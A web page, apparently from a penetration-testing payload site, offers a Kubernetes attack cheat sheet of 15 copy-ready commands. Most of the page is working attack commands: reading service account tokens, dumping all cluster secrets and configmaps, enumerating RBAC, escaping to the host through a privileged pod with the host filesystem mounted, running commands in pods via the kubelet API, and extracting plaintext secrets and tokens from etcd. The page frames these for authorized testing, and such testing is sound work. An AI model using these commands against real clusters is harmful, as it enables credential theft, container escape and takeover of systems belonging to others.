Skip to content
Payload Playground

Kubernetes Security Cheat Sheet

Kubernetes security testing — pod enumeration, secrets access, RBAC abuse, privileged container escape, kubelet API exploitation, and etcd attacks. (15 payloads)

Build custom Kubernetes payloads in the Cloud Infrastructure generator

Pod Enumeration from Inside

(4)
cat /var/run/secrets/kubernetes.io/serviceaccount/token
Service account JWT token — auto-mounted in pods
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
Current namespace
env | grep KUBERNETES
K8s API server address from environment variables
curl -sSk -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" https://kubernetes.default.svc/api/v1/namespaces
List namespaces with SA token

Secrets Access

(3)
curl -sSk -H "Authorization: Bearer $TOKEN" https://kubernetes.default.svc/api/v1/namespaces/default/secrets
List secrets in default namespace
kubectl get secrets --all-namespaces -o yaml
All cluster secrets (if kubectl available)
kubectl get configmaps --all-namespaces -o yaml
ConfigMaps may contain credentials

RBAC Enumeration

(2)
kubectl auth can-i --list
What actions can the current service account perform?
kubectl get clusterrolebindings -o yaml | grep -A5 "subjects"
Find who has cluster-admin binding

Privileged Pod Escape

(1)
kubectl run escape --image=ubuntu --restart=Never --privileged --overrides='{"spec":{"containers":[{"name":"escape","image":"ubuntu","command":["bash","-c","chroot /host bash"],"volumeMounts":[{"mountPath":"/host","name":"host"}],"securityContext":{"privileged":true}}],"volumes":[{"name":"host","hostPath":{"path":"/"}}]}}'
Create privileged pod with host filesystem mount — chroot into host

Kubelet API (often unauthenticated)

(2)
curl -sk https://<NODE_IP>:10250/pods
List all pods on node via unauthenticated kubelet API
curl -sk -X POST https://<NODE_IP>:10250/run/<ns>/<pod>/<container> -d "cmd=id"
Execute command in any pod on the node via kubelet API

etcd (stores all secrets unencrypted)

(3)
ETCDCTL_API=3 etcdctl get / --prefix --keys-only
List all keys stored in etcd
ETCDCTL_API=3 etcdctl get /registry/secrets/default/mysecret
Get specific secret from etcd — plaintext
ETCDCTL_API=3 etcdctl get / --prefix | grep -A1 "token"
Find all tokens stored in etcd
ShareXLinkedInReddit

Level up your security testing

References

Related Generators

Related Cheat Sheets

Further reading

Frequently asked questions

What is the Kubernetes Security Cheat Sheet?+

It's a quick-reference collection of 15 Kubernetes payloads for testing Kubernetes Security vulnerabilities during authorized penetration testing, bug bounties, and CTFs. Every payload is copy-ready and grouped by attack context.

How do I use these Kubernetes payloads?+

Copy any payload straight into your authorized test, or open the Cloud Infrastructure generator to build customized Kubernetes variants with encoding and WAF-bypass options. Only test systems you have explicit permission to assess.

Are these Kubernetes payloads free to use?+

Yes — this cheat sheet and all Kubernetes payloads are completely free, with no account required. Everything runs in your browser.

Send feedback

Report an issue or suggest an improvement.

0/2000

Your report includes this page (/cheatsheets/kubernetes) and your browser. If you’re signed in, we include your account ID and plan so support can prioritize Pro requests. Please leave out secrets and client data.